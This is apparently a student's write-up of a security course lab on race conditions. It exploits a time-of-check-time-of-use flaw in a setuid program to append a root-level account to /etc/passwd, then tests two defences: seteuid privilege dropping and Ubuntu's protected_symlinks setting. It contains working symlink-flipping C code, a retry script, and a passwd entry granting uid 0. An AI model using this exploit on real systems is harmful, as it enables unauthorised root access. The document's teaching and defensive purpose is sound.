Lab 6

Race Condition Vulnerability Lab

By Marco

Task1: Targeting /etc/passwd

Step 1: I modied the /etc/passwd file. Add the line on the bottom like following:

```
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
seed:x:1000:1000:seed,,,:/home/seed:/bin/bash
vboxadd:x:999:1::/var/run/vboxadd:/bin/false
telnetd:x:121:129::/nonexistent:/bin/false
sshd:x:122:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:123:130:ftp daemon,,,:/srv/ftp:/bin/false
bind:x:124:131::/var/cache/bind:/bin/false
mysql:x:125:132:MySQL Server,,,:/nonexistent:/bin/false
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
```

Step 2: We can get root by logging test account.

```
[10/14/19]seed@VM:~/.../lab6$ sudo test
[10/14/19]seed@VM:~/.../lab6$ su test
Password:
root@VM:/home/seed/Documents/lab6# id
uid=0(root) gid=0(root) groups=0(root)
root@VM:/home/seed/Documents/lab6#
```

Task2: Exploit the Race Condition Vulnerabilities

Step 1: We made the file call sym_link_pass.c. It will keep linking and unlinking the files:

```
#include <unistd.h>

int main (){

        while(1) {
                unlink("/tmp/XYZ");
                symlink("/home/seed/myfile", "/tmp/XYZ");
                usleep(10000);

                unlink("/tmp/XYZ");
                symlink("/etc/passwd", "/tmp/XYZ");
                usleep(10000);
                }
        return 0;
}
```

Step 2: The check.sh will keep executing to input the passwd_input.txt to vulp.

```
#!/bin/sh

old=`ls -l /etc/passwd`
new=`ls -l /etc/passwd`
while [ "$old" = "$new" ]
do
        ./vulp < passwd_input.txt
        new=`ls -l /etc/passwd`
done
echo "STOP... The passwd file has been changed"
```

Step3: After waiting for a while, we won the race to get the permission to modify the passwd file.

```
No permission
No permission
No permission
No permission
No permission
No permission
STOP... The passwd file has been changed
[10/15/19]seed@VM:~/.../lab6$
```

/etc/passwd file looks like the following: we added “eve:….” At the bottom of file successfully.

```
telnetd:x:121:129::/nonexistent:/bin/false
sshd:x:122:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:123:130:ftp daemon,,,:/srv/ftp:/bin/false
bind:x:124:131::/var/cache/bind:/bin/false
mysql:x:125:132:MySQL Server,,,:/nonexistent:/bin/false

eve:U6aMy0wojraho:0:0:test:/root:/bin/bash
```

Task3: Protection Mechanism B: Principle of Least Privilege

The attack was not successful. This is because we can use seteuid to currently limit the privilege. I modify the vulp.c like the following:

```
int main()
{
    uid_t real_uid = getuid();
    uid_t eff_uid = geteuid();
   char * fn = "/tmp/XYZ";
   char buffer[60];
   FILE *fp;

   /* get user input */
   scanf("%50s", buffer );

    seteuid(real_uid);
   if(!access(fn, W_OK)){
        fp = fopen(fn, "a+");
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
   }
   else printf("No permission \n");
    seteuid(eff_uid);
}
```

Output:

```
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
^C
```

Task4: Protection Mechanism C: Ubuntu's Built-in Scheme:

We can turn on the built-in protection to avoid such vulnability:

```
[10/16/19]seed@VM:~/.../lab6$ sudo sysctl -w fs.protected_symlinks=1
fs.protected_symlinks = 1
[10/16/19]seed@VM:~/.../lab6$ ./Sym_link_pass
```

```
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
```

A long-standing class of security issues is the symlink-based time-of-check-time-of-use race, most commonly seen in world-writable directories like /tmp. The common method of exploitation of this flaw is to cross privilege boundaries when following a given symlink. When set to "0", symlink following behavior is unrestricted. When set to "1" symlinks are permitted to be followed only when outside a sticky world-writable directory, or when the uid of the symlink and follower match, or when the directory owner matches the symlink's owner. It depends on situation because there is still some limitation of this method. In addition, the limitation of this method is that If the symlink is just in a directory owned by the symlink's owner, this protection will make no effect.